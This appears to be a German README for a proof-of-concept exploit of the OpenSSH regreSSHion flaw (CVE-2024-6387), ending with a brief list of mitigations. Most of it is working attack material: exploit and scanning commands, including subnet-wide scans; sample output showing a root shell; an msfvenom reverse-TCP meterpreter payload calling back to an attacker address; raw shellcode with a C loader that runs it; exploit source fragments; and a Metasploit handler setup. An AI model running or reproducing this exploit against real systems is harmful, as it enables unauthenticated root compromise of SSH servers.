
Proof-of-Concept-Exploit für CVE-2024-6387 (regreSSHion), der auf nicht authentifizierte Remote-Codeausführung im OpenSSH-Server durch eine Race-Condition im Signal-Handler abzielt. Beinhaltet Scannen, Ausnutzung und Reverse-Shell-Generierung.
CVE-2024-6387 - PoCHinweis: Dieses Skript ist ein schneller Prototyp-PoC, es können Fehler und Bugs auftreten. Getestet auf: Kali Linux, ParrotSec, Ubuntu 22.04
Schwachstelle zur Remote-Ausführung von Code ohne Authentifizierung im OpenSSH-Server
Im Server von OpenSSH (sshd) wurde eine Race-Condition im Signalhandler gefunden. Wenn sich ein Client nicht innerhalb von LoginGraceTime Sekunden (Standard 120, bei alten OpenSSH-Versionen 600) authentifiziert, wird der SIGALRM-Handler von sshd asynchron aufgerufen. Dieser Signalhandler ruft jedoch verschiedene Funktionen auf, die nicht async-signal-safe sind, z. B. syslog().
Die technischen Einzelheiten finden Sie hier.
Der Fehler, der von Forschern bei Qualys im Mai 2024 entdeckt wurde und die Kennung CVE-2024-6387 erhielt, ist auf eine Race-Condition im Signalhandler von sshd zurückzuführen, die es nicht authentifizierten entfernten Angreifern ermöglicht, beliebigen Code als root auszuführen.
„Wenn sich ein Client nicht innerhalb von LoginGraceTime Sekunden (Standard 120) authentifiziert, wird der SIGALRM-Handler von sshd asynchron aufgerufen und ruft verschiedene Funktionen auf, die nicht async-signal-safe sind.“
„Ein entfernter, nicht authentifizierter Angreifer kann diesen Fehler ausnutzen, um beliebigen Code mit Root-Rechten auszuführen.“
Voraussetzung: python3 (neueste Version)
$ python3 CVE-2024-6387.py --exploit 192.168.56.101 --port 22
██████╗ ██████╗ ███████╗███╗ ██╗███████╗███████╗██╗ ██╗
██╔═══██╗██╔══██╗██╔════╝████╗ ██║██╔════╝██╔════╝██║ ██║
██║ ██║██████╔╝█████╗ ██╔██╗ ██║███████╗███████╗███████║
██║ ██║██╔═══╝ ██╔══╝ ██║╚██╗██║╚════██║╚════██║██╔══██║
╚██████╔╝██║ ███████╗██║ ╚████║███████║███████║██║ ██║
╚═════╝ ╚═╝ ╚══════╝╚═╝ ╚═══╝╚══════╝╚══════╝╚═╝ ╚═╝
Author: l0n3m4n / Scanner: @xaitax / PoC: @7etsuo
Exploiting vulnerabilities...
Attempting exploitation with glibc base: 0xb7200000
Attempt 0 of 20000
Received SSH version: SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.6
Received KEX_INIT (1024 bytes)
send_packet: Resource temporarily unavailable
send_packet: Resource temporarily unavailable
send_packet: Resource temporarily unavailable
send_packet: Resource temporarily unavailable
.....
Exploitation successful..!
~# whoami && id
root
uid=0(root) gid=0(root) groups=0(root)
$ python3 CVE-2024-6387.py -s 192.168.56.101 -p 22 -o json -f result.json
$ python3 CVE-2024-6387.py -s targets.txt -p 22 -o json -f result.json
$ python3 CVE-2024-6387.py -s 192.168.56.101 -p 22 -t 10 -o json -f result.json
$ python3 CVE-2024-6387.py -s 192.168.56.101/24 -p 22 -t 5 -o json -f result.json
$ python3 CVE-2024-6387.py -s 192.168.56.101 -p 2244 -t 5 -o json -f result.json
# Generieren eines Shellcodes
$ msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.56.100 LPORT=9999 -f c
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 130 bytes
Final size of c file: 574 bytes
unsigned char buf[] =
"\x31\xff\x6a\x09\x58\x99\xb6\x10\x48\x89\xd6\x4d\x31\xc9"
"\x6a\x22\x41\x5a\x6a\x07\x5a\x0f\x05\x48\x85\xc0\x78\x51"
"\x6a\x0a\x41\x59\x50\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01"
"\x5e\x0f\x05\x48\x85\xc0\x78\x3b\x48\x97\x48\xb9\x02\x00"
"\x27\x0f\xc0\xa8\x38\x64\x51\x48\x89\xe6\x6a\x10\x5a\x6a"
"\x2a\x58\x0f\x05\x59\x48\x85\xc0\x79\x25\x49\xff\xc9\x74"
"\x18\x57\x6a\x23\x58\x6a\x00\x6a\x05\x48\x89\xe7\x48\x31"
"\xf6\x0f\x05\x59\x59\x5f\x48\x85\xc0\x79\xc7\x6a\x3c\x58"
"\x6a\x01\x5f\x0f\x05\x5e\x6a\x7e\x5a\x0f\x05\x48\x85\xc0"
"\x78\xed\xff\xe6";
#include <stdio.h>
// Ein Platzhalter für Ihren benutzerdefinierten Payload
const char shellcode[] =
"\x31\xff\x6a\x09\x58\x99\xb6\x10\x48\x89\xd6\x4d\x31\xc9"
"\x6a\x22\x41\x5a\x6a\x07\x5a\x0f\x05\x48\x85\xc0\x78\x51"
"\x6a\x0a\x41\x59\x50\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01"
"\x5e\x0f\x05\x48\x85\xc0\x78\x3b\x48\x97\x48\xb9\x02\x00"
"\x27\x0f\xc0\xa8\x38\x64\x51\x48\x89\xe6\x6a\x10\x5a\x6a"
"\x2a\x58\x0f\x05\x59\x48\x85\xc0\x79\x25\x49\xff\xc9\x74"
"\x18\x57\x6a\x23\x58\x6a\x00\x6a\x05\x48\x89\xe7\x48\x31"
"\xf6\x0f\x05\x59\x59\x5f\x48\x85\xc0\x79\xc7\x6a\x3c\x58"
"\x6a\x01\x5f\x0f\x05\x5e\x6a\x7e\x5a\x0f\x05\x48\x85\xc0"
"\x78\xed\xff\xe6";
int main() {
// Shellcode ausführen
printf("Ausführen des Shellcodes...\n");
void (*sc)() = (void(*)())shellcode;
sc();
return 0;
}
#include <stdio.h>
#define MAX_PACKET_SIZE (256 * 1024)
#define LOGIN_GRACE_TIME 120
#define MAX_STARTUPS 100
#define CHUNK_ALIGN(s) (((s) + 15) & ~15)
// Mögliche glibc-Basisadressen (für ASLR-Bypass)
uint64_t GLIBC_BASES[] = { 0xb7200000, 0xb7400000 };
int NUM_GLIBC_BASES = sizeof (GLIBC_BASES) / sizeof (GLIBC_BASES[0]);
// Shellcode-Platzhalter (durch tatsächlichen Shellcode ersetzen)
unsigned char shellcode[] = "\x90\x90\x90\x90";
# Payload kompilieren
$ gcc -shared -o exploit.so -fPIC 7etsuo-regreSSHion.c
# Sobald Sie eine erfolgreiche Exploit-Meldung erhalten, initiiert msfconsole automatisch eine Meterpreter-Sitzung.
$ python3 CVE-2024-6387.py --exploit 192.168.56.101 --p 22
msfconsole -q -x "use exploit/multi/handler; set PAYLOAD linux/x64/meterpreter/reverse_tcp; set LHOST 192.168.56.100; set LPORT 9999; exploit -j"
/product.name="OpenSSH"app="OpenSSH"product:"OpenSSH"(openssh) and labels=remote-accessPatch-Management: Die zeitnahe Anwendung verfügbarer Patches für OpenSSH ist entscheidend, um die Schwachstellenlücke zu schließen. Rechtzeitiges Patchen stellt sicher, dass bekannte Exploits nicht gegen Ihre Systeme eingesetzt werden können, wodurch das Zeitfenster für Angreifer verkleinert wird.
Erweiterte Zugriffskontrolle: Die Einschränkung des SSH-Zugriffs durch netzwerkbasierte Kontrollen fügt eine zusätzliche Verteidigungsebene hinzu. Dieser Ansatz minimiert die Gefährdung durch potenzielle Angreifer, indem SSH-Verbindungen nur auf autorisierte Netzwerke oder IP-Adressen beschränkt werden. Die Implementierung von Tools wie Firewall-Regeln oder die Verwendung von VPNs für sicheren Zugriff können diese Einschränkungen effektiv durchsetzen.
Netzwerksegmentierung: Die Aufteilung Ihres Netzwerks in Segmente hilft, die Auswirkungen eines möglichen Einbruchs zu begrenzen. Durch die Segmentierung kritischer Systeme und sensibler Daten von weniger kritischen Teilen Ihres Netzwerks verringern Sie das Risiko einer lateralen Bewegung durch Angreifer. Diese Segmentierung kann durch strenge Zugriffskontrollen und Überwachung ergänzt werden, um unbefugte Versuche, diese Segmente zu durchbrechen, zu erkennen und darauf zu reagieren.
Intrusion Detection Systeme (IDS): Die Bereitstellung von IDS oder Intrusion Prevention Systemen (IPS) ermöglicht die Echtzeitüberwachung des Netzwerkverkehrs und der Systemprotokolle. Diese Systeme können verdächtige Aktivitäten und potenzielle Ausnutzungsversuche im Zusammenhang mit der regreSSHion-Schwachstelle erkennen. Durch solche Systeme ausgelöste Warnungen ermöglichen eine sofortige Untersuchung und Schadensbegrenzung, bevor größerer Schaden entstehen kann.
Überwachung auf Ausnutzungsversuche: Die kontinuierliche Überwachung von Netzwerk- und Systemprotokollen ist entscheidend. Achten Sie auf ungewöhnliche Muster oder Aktivitäten, die auf einen Versuch hinweisen könnten, die OpenSSH-Schwachstelle auszunutzen. Dieser proaktive Ansatz hilft, Bedrohungen zu erkennen und darauf zu reagieren, bevor sie Schaden anrichten können.